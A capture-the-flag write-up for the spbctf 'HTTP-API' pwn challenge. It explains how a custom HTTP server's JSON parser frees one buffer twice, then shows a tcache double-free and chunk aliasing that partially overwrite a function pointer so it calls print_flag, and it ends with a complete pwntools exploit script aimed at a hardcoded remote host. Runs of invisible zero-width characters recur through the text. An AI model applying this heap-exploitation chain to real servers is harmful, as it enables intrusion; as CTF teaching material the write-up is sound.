← Back to Writeups
CUSTOMMediumpwn

HTTP-API

XESXOR9/2/20267 min read
#pwn#custom#medium#function_pointer_hijack#heap_chunk_aliasing#partial_overwrite_no_leak#strnlen_nul_truncation#tcache_double_free_no_key_chec

HTTP-API

Platform: spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-07-04 | Status: Solved Techniques: function_pointer_hijack, heap_chunk_aliasing, partial_overwrite_no_leak, strnlen_nul_truncation, tcache_double_free_no_key_check

Summary

Task: Custom HTTP server (PIE, Full RELRO, glibc 2.27) with JSON parser has double-free in parse_json_kv — closing brace handler calls free() but doesn't break the loop. Solution: tcache double-free to alias request struct with content buffer, partial overwrite of function pointer to print_flag (no leak needed).

HTTP-API — spbctf

Description

"Wow! Web task in my Pwn season!"

A custom HTTP server binary (httpapi.elf) with a built-in JSON key-value parser, served over TCP. The server handles POST requests to /hello, /debug/add/five, and /debug/flag, parsing JSON bodies and dispatching to handler functions via a function pointer in a heap-allocated http_request struct. Source code (httpapi.c) and libc (glibc 2.27) are provided.

Goal: Call print_flag() which reads the FLAG environment variable and prints it. The intended /debug/flag path requires a PASSWORD env var that is not set on the remote server (exits with "No password set!"). ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Analysis

Binary Protections

  • PIE: enabled (all code addresses randomized at page-aligned base)
  • Full RELRO: GOT is read-only, no GOT overwrite possible
  • NX: stack not executable
  • Canary: stack canary present
  • libc: glibc 2.27-3ubuntu1.2 — no tcache key/double-free check

Struct Layouts

c
typedef struct {
    int connection;      // offset 0, 4 bytes
    int content_length;  // offset 4, 4 bytes
} http_headers;          // 8 bytes

typedef struct {
    http_headers headers; // offset 0, 8 bytes
    void *func;           // offset 8, 8 bytes  <-- function pointer (target)
    json_kv *obj;         // offset 16, 8 bytes
} http_request;           // 24 bytes -> malloc(24) -> 0x20 tcache bin
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

typedef struct {
    size_t key_kind;      // 8 bytes
    size_t value_kind;    // 8 bytes
    void *key;            // 8 bytes
    void *value;          // 8 bytes
    int number;           // 4 bytes (+padding)
} json_kv;                // 40 bytes -> malloc(40) -> 0x30 tcache bin

The Vulnerability: Double Free in parse_json_kv()

In parse_json_kv(), the } handler at line 236-238:

c
} else if (chr == '}' && current_state != STATE_STRING) {
    free(buffer);
    current_state = STATE_END;
}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

This calls free(buffer) and sets STATE_END but does NOT break out of the loop. The loop continues: while (index < json_length). If a second } character follows, the condition chr == '}' && current_state != STATE_STRING is still true (because STATE_END != STATE_STRING), so free(buffer) is called again on the same pointer — a classic double free.

In glibc 2.27, tcache has no key field to detect double-frees, so the chunk is inserted into the tcache free list twice: tcache[0x20] → C → C (circular). ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Win Function

print_flag() at ELF offset 0xcc7 reads getenv("FLAG") and prints it as an HTTP response. All handler functions (hello_handler at 0xc2e, flag_handler at 0xc8b, add_handler at 0xd0e, index_handler at 0xd7e) and print_flag at 0xcc7 reside within the same 4KB page of the ELF. Since PIE randomizes only the page-aligned base, the low 12 bits of any code address are fixed. This means a 2-byte partial overwrite of a function pointer can redirect from any handler to print_flag without needing a PIE base leak. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Server Loop and Keep-Alive

The main loop allocates per-iteration:

  1. request = malloc(sizeof(http_request)) → malloc(24) → 0x20 chunk
  2. obj = malloc(sizeof(json_kv)) → malloc(40) → 0x30 chunk
  3. content = read_content(stdin, content_length) → malloc(content_length) → size depends on Content-Length

With Connection: keep-alive, the server loops without exiting, allowing multiple requests that reuse freed tcache chunks.

Solution

Step 1: Double-Free Setup (Request 1)

Send a POST request with body {"number":5}} (13 bytes → malloc(13) → 0x20 chunk C). ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The JSON parser processes:

  • { → STATE_PASS
  • "number" → key parsed
  • : → delimiter
  • 5 → number parsed (value_kind=2, number=5)
  • First } → free(C), STATE_END
  • Second } → free(C) again (double free!)

After this, tcache bin for 0x20 contains: C → C (C's fd points to itself).

The parse completes successfully: current_state == STATE_END, key="number", number=5 — all validation passes.

Step 2: Chunk Aliasing + Partial Overwrite (Request 2)

In the next loop iteration:

  1. request = malloc(24) → pops C from tcache → request = C
  2. obj = malloc(40) → from 0x30 bin (different size, no conflict)
  3. content = malloc(10) → pops C again from tcache (C.fd was C) → content = C ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Now content == request == C — the content buffer and request struct are aliased to the same heap chunk.

fread writes the 10-byte body into content, which is the same memory as request:

Offset:  0  1  2  3  4  5  6  7  8  9
Body:    {  "  a  "  :  1  }  \0 \xc7 \x0c
Struct:  |-- headers (8B) --|-- func low bytes --|
  • Bytes 0-7 overwrite request->headers (connection + content_length) — these are already consumed, so their corruption doesn't matter.
  • Byte 7 is \x00 (NUL) — this is critical for the JSON parser.
  • Bytes 8-9 (\xc7\x0c) overwrite the low 2 bytes of request->func to 0x0cc7 = print_flag offset. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The NUL Byte Trick

strnlen(buffer, content_length) returns 7 (stops at the NUL at offset 7), so parse_json_kv only processes {"a":1} — valid JSON that parses cleanly. The address bytes \xc7\x0c at offsets 8-9 are never seen by the parser.

Inside parse_json_kv, free(buffer) is called when } is encountered, which puts the chunk back into tcache. But crucially, free() in glibc 2.27 only writes the fd pointer at offset 0 of the chunk's user data — it does not touch offset 8 where our func pointer overwrite lives. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 3: Function Pointer Hijack

process_request(request) executes:

c
void (*func_ptr)(http_request *) = request->func;
func_ptr(request);  // calls print_flag()!

The func pointer was originally set to hello_handler (offset 0xc2e) by parse_line. Our 2-byte overwrite changed the low bytes from ...c2e to ...cc7. Since both addresses share the same upper bytes (same ELF page), func now points to print_flag().

print_flag() reads getenv("FLAG") and sends it as an HTTP response. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Exploit Script

python
#!/usr/bin/env python3
"""
spbctf HTTP-API exploit — tcache double-free + partial overwrite to print_flag.

glibc 2.27 has no tcache key check -> plain double free works.
All handlers + print_flag share the same ELF page -> 2-byte partial overwrite
redirects func pointer without needing a PIE leak.
"""
import sys, re
from pwn import *

context.arch = 'amd64'
context.log_level = 'info'

HOST = sys.argv[1] if len(sys.argv) >= 3 else '109.233.56.90'
PORT = int(sys.argv[2]) if len(sys.argv) >= 3 else 11733
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

PRINT_FLAG_LOW2 = b'\xc7\x0c'  # ELF offset 0xcc7, little-endian low 2 bytes


def req(method, path, body, conn=b'keep-alive'):
    r  = method + b' ' + path + b' HTTP/1.1\r\n'
    r += b'Content-Type: application/json\r\n'
    r += b'Content-Length: ' + str(len(body)).encode() + b'\r\n'
    r += b'Connection: ' + conn + b'\r\n\r\n'
    r += body
    return r


def main():
    io = remote(HOST, PORT)

    # --- Request 1: double-free a 0x20 content chunk ---
    # Body: {"number":5}} (13 bytes -> malloc(13) -> 0x20 chunk)
    # First } frees buffer, second } frees it again
    io.send(req(b'POST', b'/hello', b'{"number":5}}'))
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    # --- Request 2: alias content==request, overwrite func pointer ---
    # Body layout:
    #   offset 0-6: {"a":1}   (valid JSON, parsed cleanly)
    #   offset 7:   \x00      (NUL stops strnlen -> parser ignores rest)
    #   offset 8-9: \xc7\x0c  (print_flag low 2 bytes -> overwrites func)
    body = b'{"a":1}' + b'\x00' + PRINT_FLAG_LOW2
    assert len(body) == 10
    io.send(req(b'POST', b'/hello', body))

    # Read response containing the flag
    data = b''
    try:
        while True:
            chunk = io.recv(timeout=2)
            if not chunk:
                break
            data += chunk
    except EOFError:
        pass
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    sys.stdout.buffer.write(data)
    m = re.search(rb'(sc|spbctf|flag)\{[^}]*\}', data, re.I)
    if m:
        log.success('FLAG: ' + m.group().decode())
    else:
        log.failure('no flag found in output')
    io.close()


if __name__ == '__main__':
    main()

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍